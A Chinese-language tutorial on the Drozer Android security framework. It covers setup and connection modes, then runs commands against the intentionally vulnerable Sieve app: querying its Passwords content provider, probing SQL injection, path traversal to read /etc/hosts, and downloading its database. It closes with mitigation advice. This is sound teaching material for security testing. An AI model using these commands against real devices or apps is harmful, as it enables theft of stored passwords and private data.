測試環境:
1) 手機root權限
2) Adb.exe
3) 手機usb連接開啟debug模式(在設置>關于手機>連續點擊多次版本號,即可開啟開發者模式)
4) Window下安裝drozer
5) 安裝完drozer后在其目錄下把agent.apk安裝到手機
7) 附帶測試案例使用app sieve
安裝
1) windows安裝 下載:
https://www.mwrinfosecurity.com/products/drozer/community-edition/
在Android設備中安裝agent.apk:
#!bash
>adb install agent.apk
或者直接連接USB把文件移動到內存卡中安裝
2) *inux安裝(Debian/Mac)
#!bash
$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg
$ sh setuptools-0.6c11-py2.7.egg
$ easy_install --allow-hosts pypi.python.org protobuf
$ easy_install twisted==10.2.0
$ easy_install twisted ./drozer-2.3.0-py2.7.egg
$ drozer //運行測試
下面介紹三種方法運行
1) USB方式
#!bash
>adb forward tcp:31415 tcp:31415 //adb目錄下運行次命令
選擇drozer>Embedded Server>Enabled
>drozer.bat console connect //在PC端drozer目錄下運行此命令
2) Wifi方式
#!bash
>drozer.bat console connect --server 192.168.1.12:31415 //在PC端執行192.168.1.12為android端ip和端口
3) Infrastructure Mode 這種模式涉及到三個通信方,drozer server、drozer agent(Android 設備中)與drozer console。
其中server與agent,server與console需要網絡互通。這種模式的好處是你不需要知道android設備的ip,
agent與console的ip段可以隔離的,并且可以支持一個server對應多個設備的操作。
#!bash
>drozer.bat server start
在Android設備上新建一個New Endpoint,修改配置Host為PC server端ip,并且啟用Endpoint
#!bash
>drozer console connect --server 192.168.1.2:31415 //192.168.1.2為server端ip和端口
使用
> list //列出目前可用的模塊,也可以使用ls
> help app.activity.forintent //查看指定模塊的幫助信息
> run app.package.list //列出android設備中安裝的app
> run app.package.info -a com.android.browser //查看指定app的基本信息
> run app.activity.info -a com.android.browser //列出app中的activity組件
> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //開啟一個activity,例如運行瀏覽器打開谷歌頁面
> run scanner.provider.finduris -a com.sina.weibo //查找可以讀取的Content Provider
> run app.provider.query content://settings/secure --selection "name='adb_enabled'" //讀取指定Content Provider內容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路徑里全局可寫/可讀的文件
> run shell.start //shell操作
> run tools.setup.busybox //安裝busybox
> list auxiliary //通過web的方式查看content provider組件的相關內容
> help auxiliary.webcontentresolver //webcontentresolver幫助
> run auxiliary.webcontentresolver //執行在瀏覽器中以http://localhost:8080即可訪問
以sieve示例
> run app.package.list -f sieve //查找sieve應用程序
> run app.package.info -a com.mwr.example.sieve //顯示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve //確定攻擊面
> run app.activity.info -a com.mwr.example.sieve //獲取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //啟動pwlist
> run app.provider.info -a com.mwr.example.sieve //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve //掃描所有能訪問地址
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords這條可執行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //檢測注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看讀權限數據
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下載數據
> run scanner.provider.injection -a com.mwr.example.sieve //掃描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve //查看服務
1) 首先用drozer掃描Android應用可注入的Url
#!bash
Dz > run scanner.provider.injection
2) 啟動WebContentResolver.apk應用程序,Web界面訪問url格式如下
http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parametern&selName=column&selId=id
解釋: providers:為content://后第一個參數比如records Parameter1:為第二個參數operations Parameter2..parametern:為后門的依次類推的參數,如果后面有這么多參數 Column:表字段例如上面字段<_id> Id:為字段數據
注意:格式必須是這樣,selName、selId這兩個參數第二個單詞是大寫的。
3) 在PC端運行adb
#!bash
>adb forward tcp:8080 tcp:8080 //此時在地址欄輸入http://localhost:8080即可訪問Web界面
4) 以content://settings/bookmarks/為例,在地址欄輸入
http://localhost:8080/query?a=settings&path0=bookmarks&selName=_id&selId=1
5) 自動化結合SQLMAP
總結:雖然很多小伙說直接用文件管理進去查看數據庫更方便,我也不多說什么,就像上次看到一帖子為了查看wifi密碼寫了一大篇的,直接進去數據庫看不就是了,我能呵呵一句么。 避免這個漏洞方法只需要指定標志讀取權限和限制寫入權限。如果我們不想共享存儲第三方應用程序記錄,另一個解決方案可以消除provider或將其設置為false。